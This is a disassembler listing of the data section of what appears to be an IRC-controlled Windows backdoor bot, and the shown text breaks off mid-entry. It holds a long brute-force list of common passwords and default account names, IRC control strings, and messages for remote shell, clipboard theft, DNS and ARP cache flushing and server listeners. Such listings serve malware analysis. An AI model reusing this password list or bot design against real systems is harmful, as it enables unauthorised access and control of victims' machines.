align 4 aAnything db 'anything',0 ; DATA XREF: ___:0042FB24o align 4 aAnvils db 'anvils',0 ; DATA XREF: ___:0042FB20o align 4 aAnthropo db 'anthropo',0 ; DATA XREF: ___:0042FB1Co align 4 aAnthrax db 'anthrax',0 ; DATA XREF: ___:0042FB18o aAnswer db 'answer',0 ; DATA XREF: ___:0042FB14o align 4 aAnonymou db 'anonymou',0 ; DATA XREF: ___:0042FB10o align 4 aAnon db 'anon',0 ; DATA XREF: ___:0042FB0Co align 4 aAnnette db 'annette',0 ; DATA XREF: ___:0042FB08o aAnne db 'anne',0 ; DATA XREF: ___:0042FB04o align 4 aAnna db 'anna',0 ; DATA XREF: ___:0042FB00o align 4 aAnita db 'anita',0 ; DATA XREF: ___:0042FAFCo align 4 aAnimals db 'animals',0 ; DATA XREF: ___:0042FAF8o aAnimal db 'animal',0 ; DATA XREF: ___:0042FAF4o align 4 aAngie db 'angie',0 ; DATA XREF: ___:0042FAF0o align 4 aAngerine db 'angerine',0 ; DATA XREF: ___:0042FAECo align 10h aAngela db 'angela',0 ; DATA XREF: ___:0042FAE8o align 4 aAnfo db 'anfo',0 ; DATA XREF: ___:0042FAE4o align 10h aAndy db 'andy',0 ; DATA XREF: ___:0042FAE0o align 4 aAndromac db 'andromac',0 ; DATA XREF: ___:0042FADCo align 4 aAndroid db 'android',0 ; DATA XREF: ___:0042FAD8o aAndrea db 'andrea',0 ; DATA XREF: ___:0042FAD4o align 4 aAnchor db 'anchor',0 ; DATA XREF: ___:0042FAD0o align 4 aAnarchy db 'anarchy',0 ; DATA XREF: ___:0042FACCo aAnarchis db 'anarchis',0 ; DATA XREF: ___:0042FAC8o align 10h aAnalog db 'analog',0 ; DATA XREF: ___:0042FAC4o align 4 aAnal db 'anal',0 ; DATA XREF: ___:0042FAC0o align 10h aAmorphou db 'amorphou',0 ; DATA XREF: ___:0042FABCo align 4 aAmerica db 'america',0 ; DATA XREF: ___:0042FAB8o aAmber db 'amber',0 ; DATA XREF: ___:0042FAB4o align 4 aAmanda db 'amanda',0 ; DATA XREF: ___:0042FAB0o align 4 aAmadeus db 'amadeus',0 ; DATA XREF: ___:0042FAACo aAlphabet db 'alphabet',0 ; DATA XREF: ___:0042FAA8o align 4 aAllow db 'allow',0 ; DATA XREF: ___:0042FAA4o align 10h aAllison db 'allison',0 ; DATA XREF: ___:0042FAA0o aAlison db 'alison',0 ; DATA XREF: ___:0042FA9Co align 10h aAlisa db 'alisa',0 ; DATA XREF: ___:0042FA98o align 4 aAlicia db 'alicia',0 ; DATA XREF: ___:0042FA94o align 10h aAlice db 'alice',0 ; DATA XREF: ___:0042FA90o align 4 aAliases db 'aliases',0 ; DATA XREF: ___:0042FA8Co aAlias db 'alias',0 ; DATA XREF: ___:0042FA88o align 4 aAlgebra db 'algebra',0 ; DATA XREF: ___:0042FA84o aAlexande db 'alexande',0 ; DATA XREF: ___:0042FA80o align 4 aAlex db 'alex',0 ; DATA XREF: ___:0042FA7Co align 4 aAlert db 'alert',0 ; DATA XREF: ___:0042FA78o align 4 aAlbert db 'albert',0 ; DATA XREF: ___:0042FA74o align 4 aAlbatros db 'albatros',0 ; DATA XREF: ___:0042FA70o align 10h aAlbany db 'albany',0 ; DATA XREF: ___:0042FA6Co align 4 aAlaska db 'alaska',0 ; DATA XREF: ___:0042FA68o align 10h aAirplane db 'airplane',0 ; DATA XREF: ___:0042FA64o align 4 aAids db 'aids',0 ; DATA XREF: ___:0042FA60o align 4 aAerobics db 'aerobics',0 ; DATA XREF: ___:0042FA5Co align 10h aAdult db 'adult',0 ; DATA XREF: ___:0042FA58o align 4 aAdrianna db 'adrianna',0 ; DATA XREF: ___:0042FA54o align 4 aAdrian db 'adrian',0 ; DATA XREF: ___:0042FA50o align 4 aAdam db 'adam',0 ; DATA XREF: ___:0042FA4Co align 4 aAction db 'action',0 ; DATA XREF: ___:0042FA48o align 4 aAccount db 'account',0 ; DATA XREF: ___:0042FA44o aAcademic db 'academic',0 ; DATA XREF: ___:0042FA3Co align 10h aAcademia db 'academia',0 ; DATA XREF: ___:0042FA38o align 4 a000000 db '000000',0 ; DATA XREF: ___:0042FA34o align 4 a00000 db '00000',0 ; DATA XREF: ___:0042FA30o align 4 a0000 db '0000',0 ; DATA XREF: ___:0042FA2Co align 4 a000 db '000',0 ; DATA XREF: ___:0042FA28o aTesting db 'testing',0 ; DATA XREF: ___:0042FA24o aDeath db 'death',0 ; DATA XREF: ___:0042FA20o align 4 a00 db '00',0 ; DATA XREF: ___:0042FA1Co align 4 aXxxxxxxxx db 'xxxxxxxxx',0 ; DATA XREF: ___:0042FA14o align 4 aXxxxxxxx db 'xxxxxxxx',0 ; DATA XREF: ___:0042FA10o align 4 aXxxxxxx db 'xxxxxxx',0 ; DATA XREF: ___:0042FA0Co aXxxxxx db 'xxxxxx',0 ; DATA XREF: ___:0042FA08o align 4 aXxxxx db 'xxxxx',0 ; DATA XREF: ___:0042FA04o align 4 aXxxx db 'xxxx',0 ; DATA XREF: ___:0042FA00o align 4 aXxx db 'xxx',0 ; DATA XREF: ___:0042F9FCo aXx db 'xx',0 ; DATA XREF: ___:0042F9F8o align 4 asc_434C2C: ; DATA XREF: ___:0042F9F4o unicode 0, <x>,0 aGuessme db 'guessme',0 ; DATA XREF: ___:0042F9F0o aYouwontguessme db 'youwontguessme',0 ; DATA XREF: ___:0042F9ECo align 4 aUwontguessme db 'uwontguessme',0 ; DATA XREF: ___:0042F9E8o align 4 aMirc_0 db 'mirc',0 ; DATA XREF: ___:0042F9E4o align 10h aKiddie db 'kiddie',0 ; DATA XREF: ___:0042F9E0o align 4 aScriptkiddie db 'scriptkiddie',0 ; DATA XREF: ___:0042F9DCo align 4 aScript db 'script',0 ; DATA XREF: ___:0042F9D8o align 10h aHax0r db 'hax0r',0 ; DATA XREF: ___:0042F9D4o align 4 aHacker db 'hacker',0 ; DATA XREF: ___:0042F9D0o align 10h aL337 db 'l337',0 ; DATA XREF: ___:0042F9CCo align 4 aL33t db 'l33t',0 ; DATA XREF: ___:0042F9C8o align 10h aLeet db 'leet',0 ; DATA XREF: ___:0042F9C4o align 4 aKiller db 'killer',0 ; DATA XREF: ___:0042F9C0o align 10h a0wn3d db '0wn3d',0 ; DATA XREF: ___:0042F9BCo align 4 aW00t db 'w00t',0 ; DATA XREF: ___:0042F9B8o align 10h aHeaven db 'heaven',0 ; DATA XREF: ___:0042F9B4o align 4 aSpaceman db 'spaceman',0 ; DATA XREF: ___:0042F9B0o align 4 aSatanic db 'satanic',0 ; DATA XREF: ___:0042F9ACo aSatanik db 'satanik',0 ; DATA XREF: ___:0042F9A8o aSatan db 'satan',0 ; DATA XREF: ___:0042F9A4o align 4 aGobo db 'gobo',0 ; DATA XREF: ___:0042F9A0o align 4 aMatthew db 'Matthew',0 ; DATA XREF: ___:0042F99Co aMatt db 'Matt',0 ; DATA XREF: ___:0042F998o align 4 aMat db 'Mat',0 ; DATA XREF: ___:0042F994o aPw db 'pw',0 ; DATA XREF: ___:0042F990o align 4 aMypass123 db 'mypass123',0 ; DATA XREF: ___:0042F98Co align 4 aMypass db 'mypass',0 ; DATA XREF: ___:0042F988o align 10h aPw123 db 'pw123',0 ; DATA XREF: ___:0042F984o align 4 aAdmin123 db 'admin123',0 ; DATA XREF: ___:0042F980o align 4 aMypc123 db 'mypc123',0 ; DATA XREF: ___:0042F97Co aMypc db 'mypc',0 ; DATA XREF: ___:0042F978o align 4 aLove db 'love',0 ; DATA XREF: ___:0042F974o align 4 aPwd db 'pwd',0 ; DATA XREF: ___:0042F970o aLogin db 'login',0 ; DATA XREF: ___:0042F96Co align 4 aHome db 'home',0 ; DATA XREF: ___:0042F968o align 10h aZxcv db 'zxcv',0 ; DATA XREF: ___:0042F964o align 4 aYxcv db 'yxcv',0 ; DATA XREF: ___:0042F960o align 10h aQwer db 'qwer',0 ; DATA XREF: ___:0042F95Co align 4 aSecret db 'secret',0 ; DATA XREF: ___:0042F958o align 10h aAsdf db 'asdf',0 ; DATA XREF: ___:0042F954o align 4 aPc db 'pc',0 ; DATA XREF: ___:0042F950o align 4 aWin db 'win',0 ; DATA XREF: ___:0042F94Co aTest123 db 'test123',0 ; DATA XREF: ___:0042F948o aAbc db 'abc',0 ; DATA XREF: ___:0042F944o aAaa db 'aaa',0 ; DATA XREF: ___:0042F940o aA_1: ; DATA XREF: ___:0042F93Co unicode 0, <a>,0 aCrash db 'crash',0 ; DATA XREF: ___:0042F938o align 4 aFucked db 'fucked',0 ; DATA XREF: ___:0042F934o align 4 aNetfuck db 'netfuck',0 ; DATA XREF: ___:0042F930o aIrule db 'irule',0 ; DATA XREF: ___:0042F92Co align 4 aOwned db 'owned',0 ; DATA XREF: ___:0042F928o align 4 a0wned db '0wned',0 ; DATA XREF: ___:0042F924o align 4 aNetDevil db 'net-devil',0 ; DATA XREF: ___:0042F920o align 10h aNetdevil db 'netdevil',0 ; DATA XREF: ___:0042F91Co align 4 aDevil db 'devil',0 ; DATA XREF: ___:0042F918o align 4 aNilez db 'Nilez',0 ; DATA XREF: ___:0042F914o align 4 aFoobar db 'foobar',0 ; DATA XREF: ___:0042F910o align 4 aGod db 'god',0 ; DATA XREF: ___:0042F90Co aSex db 'sex',0 ; DATA XREF: ___:0042F908o aPat db 'pat',0 ; DATA XREF: ___:0042F904o aPatrick db 'patrick',0 ; DATA XREF: ___:0042F900o aAlpha db 'alpha',0 ; DATA XREF: ___:0042F8FCo align 10h a007 db '007',0 ; DATA XREF: ___:0042F8F8o a123abc db '123abc',0 ; DATA XREF: ___:0042F8F4o align 4 a1234qwer db '1234qwer',0 ; DATA XREF: ___:0042F8F0o align 4 a123123 db '123123',0 ; DATA XREF: ___:0042F8ECo align 10h a121212 db '121212',0 ; DATA XREF: ___:0042F8E8o align 4 a111111 db '111111',0 ; DATA XREF: ___:0042F8E4o align 10h a110 db '110',0 ; DATA XREF: ___:0042F8E0o a2600 db '2600',0 ; DATA XREF: ___:0042F8DCo align 4 a2002 db '2002',0 ; DATA XREF: ___:0042F8D4o align 4 aXp_0 db 'xp',0 ; DATA XREF: ___:0042F8D0o align 4 aEnable db 'enable',0 ; DATA XREF: ___:0042F8CCo align 10h aGodblessyou db 'godblessyou',0 ; DATA XREF: ___:0042F8C8o aIhavenopass db 'ihavenopass',0 ; DATA XREF: ___:0042F8C4o a123asd db '123asd',0 ; DATA XREF: ___:0042F8C0o align 10h aSuper db 'super',0 ; DATA XREF: ___:0042F8BCo align 4 aInternet db 'Internet',0 ; DATA XREF: ___:0042F8B8o align 4 a123qwe db '123qwe',0 ; DATA XREF: ___:0042F8B0o align 4 aSybase db 'sybase',0 ; DATA XREF: ___:0042F8ACo align 4 aAbc123 db 'abc123',0 ; DATA XREF: ___:0042F8A4o align 4 aAbcd db 'abcd',0 ; DATA XREF: ___:0042F8A0o align 4 aPasswd db 'passwd',0 ; DATA XREF: ___:0042F898o align 4 aPass_0 db 'pass',0 ; DATA XREF: ___:0042F894o align 4 a88888888 db '88888888',0 ; DATA XREF: ___:0042F890o align 10h a11111111 db '11111111',0 ; DATA XREF: ___:0042F88Co align 4 a111 db '111',0 ; DATA XREF: ___:0042F888o a54321 db '54321',0 ; DATA XREF: ___:0042F884o align 4 a654321 db '654321',0 ; DATA XREF: ___:0042F880o align 10h a123456789 db '123456789',0 ; DATA XREF: ___:0042F87Co align 4 a12345678 db '12345678',0 ; DATA XREF: ___:0042F878o align 4 a1234567 db '1234567',0 ; DATA XREF: ___:0042F874o a123456 db '123456',0 ; DATA XREF: ___:0042F870o align 4 a12345 db '12345',0 ; DATA XREF: ___:0042F86Co align 10h a1234 db '1234',0 ; DATA XREF: ___:0042F868o align 4 a123 db '123',0 ; DATA XREF: ___:0042F864o a12 db '12',0 ; DATA XREF: ___:0042F860o align 10h a1: ; DATA XREF: ___:0042F85Co unicode 0, <1>,0 aTemp123 db 'temp123',0 ; DATA XREF: ___:0042F858o aChangeme_0 db 'Changeme',0 ; DATA XREF: ___:0042F854o align 4 aChangeme db 'changeme',0 ; DATA XREF: ___:0042F850o align 4 aLinux db 'linux',0 ; DATA XREF: ___:0042F84Co align 4 aUnix db 'unix',0 ; DATA XREF: ___:0042F848o align 4 aLocal db 'LOCAL',0 ; DATA XREF: ___:0042F844o align 4 aPepsi db 'pepsi',0 ; DATA XREF: ___:0042F840o align 4 aServer_0 db 'SERVER',0 ; DATA XREF: ___:0042F83Co align 4 aSystem db 'SYSTEM',0 ; DATA XREF: ___:0042F838o align 4 aBackup db 'BACKUP',0 ; DATA XREF: ___:0042F834o align 4 aAccess db 'ACCESS',0 ; DATA XREF: ___:0042F82Co align 4 aTest db 'TEST',0 ; DATA XREF: ___:0042F828o align 4 aEdu db 'edu',0 ; DATA XREF: ___:0042F824o aOwner_1 db 'Owner',0 ; DATA XREF: ___:0042F820o align 4 aOwner_0 db 'OWNER',0 ; DATA XREF: ___:0042F81Co align 10h aDemo db 'DEMO',0 ; DATA XREF: ___:0042F818o align 4 aFiles db 'FILES',0 ; DATA XREF: ___:0042F814o align 10h aRead db 'READ',0 ; DATA XREF: ___:0042F810o align 4 aBoth db 'BOTH',0 ; DATA XREF: ___:0042F80Co align 10h aLadeda db 'ladeda',0 ; DATA XREF: ___:0042F808o align 4 aFull_0 db 'FULL',0 ; DATA XREF: ___:0042F804o align 10h aWrite db 'WRITE',0 ; DATA XREF: ___:0042F800o align 4 aShare_0 db 'SHARE',0 ; DATA XREF: ___:0042F7FCo align 10h aTemp db 'TEMP',0 ; DATA XREF: ___:0042F7F8o align 4 aPassword db 'PASSWORD',0 ; DATA XREF: ___:0042F7F4o align 4 aAdmin_0 db 'ADMIN',0 ; DATA XREF: ___:0042F7F0o align 4 aRoot_0 db 'ROOT',0 ; DATA XREF: ___:0042F7E8o align 4 aGuest_1 db 'GUEST',0 ; DATA XREF: ___:0042F7E4o align 4 aBla db 'bla',0 ; DATA XREF: ___:0042F7E0o aFubar db 'fubar',0 ; DATA XREF: ___:0042F7DCo align 4 aAdministrato_1 db 'ADMINISTRATOR',0 ; DATA XREF: ___:0042F7D0o align 4 aDb2 db 'db2',0 ; DATA XREF: ___:0042F7C0o aOracle db 'oracle',0 ; DATA XREF: ___:0042F7BCo ; ___:0042F8A8o align 4 aDba db 'dba',0 ; DATA XREF: ___:0042F7B8o aDatabase db 'database',0 ; DATA XREF: ___:0042F7B4o ; ___:0042F89Co align 4 aDefault db 'default',0 ; DATA XREF: ___:0042F7B0o ; ___:0042FF3Co aGuest_0 db 'guest',0 ; DATA XREF: ___:0042F7ACo align 4 aWwwadmin db 'wwwadmin',0 ; DATA XREF: ___:0042F7A8o align 10h aTeacher db 'teacher',0 ; DATA XREF: ___:0042F7A4o ; ___:00430ED0o aStudent db 'student',0 ; DATA XREF: ___:0042F7A0o ; ___:00430E18o aOwner db 'owner',0 ; DATA XREF: ___:0042F79Co align 4 aComputer db 'computer',0 ; DATA XREF: ___:0042F798o ; ___:0042F8B4o align 4 aRoot db 'root',0 ; DATA XREF: ___:0042F794o ; ___:0042F7ECo align 4 aStaff db 'staff',0 ; DATA XREF: ___:0042F790o align 4 aAdmin db 'admin',0 ; DATA XREF: ___:0042F78Co align 4 aAdmins db 'admins',0 ; DATA XREF: ___:0042F788o align 4 aAdministrat db 'administrat',0 ; DATA XREF: ___:0042F784o aAdministrateur db 'administrateur',0 ; DATA XREF: ___:0042F780o align 10h aAdministrador db 'administrador',0 ; DATA XREF: ___:0042F77Co align 10h aAdministrato_0 db 'administrator',0 ; DATA XREF: ___:0042F778o ; ___:0042F7D8o align 10h aH4ckerTool db 'h4cker tool',0 ; DATA XREF: ___:off_42F6C8o a@admin_com db '*@admin.com',0 ; DATA XREF: ___:off_42F6C4o dword_435118 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: ___:0040E9FBo dd 2BBBB02h, 6F422020h, 74732074h, 65747261h, 2E64h dword_435140 dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:0040E929o dword_43514C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EB92+F2o dd 2BBBB02h aConnectedToS_ db ' Connected to %s.',0 align 4 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_40ECFA+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_40ECFA+35o align 10h aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+627Co align 10h aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+6264o align 10h dword_4351C0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+6257o dd 2BBBB02h aUserSLoggedIn_ db ' User: %s logged in.',0 align 10h dword_4351F0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+623Ao dd 2BBBB02h aAbosal7Accepte db ' ABOSAL7 accepted.',0 dword_43521C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+61D9o dd 2BBBB02h, 462A2020h, 656C6961h, 6F682064h, 61207473h dd 20687475h db 62h byte_435249 db 79h, 3Ah, 20h ; DATA XREF: ___:off_4274DCo dd 21732528h, 2E297325h, 0 dword_435258 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+6172o dd 2BBBB02h aFailedPassAuth db ' *Failed pass auth by: (%s!%s).',0 align 4 aNoticeSYouVeBe db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+6160o ; sub_40EE72+61C7o align 4 aNoticeSNiceTry db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+6149o ; sub_40EE72+61B0o align 10h asc_4352E0: ; DATA XREF: sub_40EE72+6119o unicode 0, <~>,0 dword_4352E4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+60C9o dd 2BBBB02h aRandomNickChan db ' Random nick change: %s',0 align 4 dword_435318 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+6015o dd 2BBBB02h aInvalidLoginSl db ' Invalid login slot number: %d.',0 align 4 dword_435354 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+600Ao dd 2BBBB02h aNoUserLoggedIn db ' No user logged in at slot: %d.',0 align 10h dword_435390 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5FB5o dd 2BBBB02h, 73252020h, 0 unk_4353B0 db 2 ; DATA XREF: sub_40EE72+5F8Bo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToStar_6 db ' Failed to start secure thread, error: <%d>.',0 align 4 dword_4353FC dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h ; DATA XREF: sub_40EE72+5F15o dd 2202967h, 2002BBBBh, 20732520h, 74737973h, 2E6D65h aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_40EE72+5F0Fo align 10h aSecuring db 'Securing',0 ; DATA XREF: sub_40EE72+5F08o align 4 aSec db 'sec',0 ; DATA XREF: sub_40EE72+5EADo aSecure db 'secure',0 ; DATA XREF: sub_40EE72+5E9Co align 4 unk_435448 db 2 ; DATA XREF: sub_40EE72+5E91o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToStar_7 db 'Failed to start server thread, error: <%d>.',0 dword_435490 dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Eh ; DATA XREF: sub_40EE72+5D6Fo dword_4354A0 dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_40EE72+5D6Ao dword_4354AC dd 72027002h, 1F631F6Fh, 2E2Eh ; DATA XREF: sub_40EE72+5D57o dword_4354B8 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_40EE72+5D52o dword_4354C8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5D1Fo dd 2BBBB02h, 65522020h, 6E6E6F63h, 69746365h, 2E676Eh aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EE72:loc_414B84o align 4 dword_435508 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5CFDo dd 2BBBB02h, 69442020h, 6E6F6373h, 7463656Eh, 2E676E69h dd 0 aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EE72:loc_414B62o align 4 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+5CC8o align 4 dword_435558 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5C76o dd 2BBBB02h aStatusReady_Bo db ' Status: Ready. Bot Uptime: %s.',0 align 4 dword_435594 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5C62o dd 2BBBB02h, 6F422020h, 44492074h, 7325203Ah, 2Eh dword_4355BC dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE72+5C3Do dd 2029671Fh, 2BBBB02h aFailedToStartL db ' Failed to start list thread, error: <%d>.',0 dword_435604 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE72+5BD2o dd 2029671Fh, 2BBBB02h, 694C2020h, 74207473h, 61657268h dd 2E7364h dword_435630 dd 627573h ; DATA XREF: sub_40EE72+5BACo dword_435634 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5B5Do dd 2BBBB02h, 6C412020h, 20736169h, 7473696Ch, 2Eh dword_43565C dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5B42o dd 2BBBB02h aFailedToStar_8 db ' Failed to start listing thread, error: <%d>.',0 align 4 dword_4356A4 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5AD3o dd 2BBBB02h, 694C2020h, 6E697473h, 6F6C2067h, 2E67h dword_4356CC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5A36o dd 2BBBB02h, 654E2020h, 726F7774h, 6E49206Bh, 2E6F66h dword_4356F4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5A04o dd 2BBBB02h, 79532020h, 6D657473h, 666E4920h, 2E6Fh dword_43571C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+59AFo dd 2BBBB02h, 65522020h, 69766F6Dh, 4220676Eh, 2E746Fh unk_435744 db 2 ; DATA XREF: sub_40EE72+599Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToStar_9 db 'Failed to start listing thread, error: <%d>.',0 align 4 dword_435794 dd 7A026E02h, 201F6D1Fh, 6F727028h, 73736563h, 702E7365h ; DATA XREF: sub_40EE72+592Do dd 671F6C1Fh, 0BB022029h, 202002BBh, 636F7250h, 73736563h dd 73696C20h, 2E74h aFull db 'full',0 ; DATA XREF: sub_40EE72+590Do align 4 unk_4357CC db 2 ; DATA XREF: sub_40EE72+58B6o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aAlreadyRunning db 'Already running.',0 align 10h unk_435800 db 2 ; DATA XREF: sub_40EE72+5893o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 64h, 6Bh db 65h ; e db 79h, 73h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aSearchComplete db ' Search completed.',0 align 10h dword_435830 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+584Ao dd 2BBBB02h, 70552020h, 656D6974h, 7325203Ah, 2Eh dword_435858 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_4145F9o dd 2BBBB02h aRemoteShellRea db ' Remote shell ready.',0 align 4 dword_435888 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5780o dd 2BBBB02h aCouldnTOpenRem db ' Couldn',27h,'t open remote shell.',0 align 10h dword_4358C0 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5764o dd 2BBBB02h aRemoteShellAlr db ' Remote shell already running.',0 dword_4358F8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5746o dd 2BBBB02h, 65472020h, 6C432074h, 6F627069h, 2E647261h dd 0 aClipboardData db '-[Clipboard Data]-',0 ; DATA XREF: sub_40EE72+5718o align 4 unk_435938 db 2 ; DATA XREF: sub_40EE72:loc_41457Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToFlushA db ' Failed to flush ARP cache.',0 align 4 unk_435974 db 2 ; DATA XREF: sub_40EE72+56EDo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aArpCacheFlushe db ' ARP cache flushed.',0 align 4 unk_4359A8 db 2 ; DATA XREF: sub_40EE72:loc_41454Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToLoadDn db ' Failed to load dnsapi.dll.',0 align 4 unk_4359E4 db 2 ; DATA XREF: sub_40EE72:loc_414548o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToFlushD db ' Failed to flush DNS cache.',0 align 10h unk_435A20 db 2 ; DATA XREF: sub_40EE72+56CFo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDnsCacheFlushe db ' DNS cache flushed.',0 align 4 dword_435A54 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_40EE72+565Fo dd 2029671Fh, 2BBBB02h aFailedToSta_10 db ' Failed to start server thread, error: <%d>.',0 align 10h dword_435AA0 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_40EE72+55F4o dd 2029671Fh, 2BBBB02h aServerListen_0 db ' Server listening on IP: %s:%d, Username: %s.',0 align 4 unk_435AEC db 2 ; DATA XREF: sub_40EE72+5528o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToSta_11 db 'Failed to start server thread, error: <%d>.',0 unk_435B34 db 2 ; 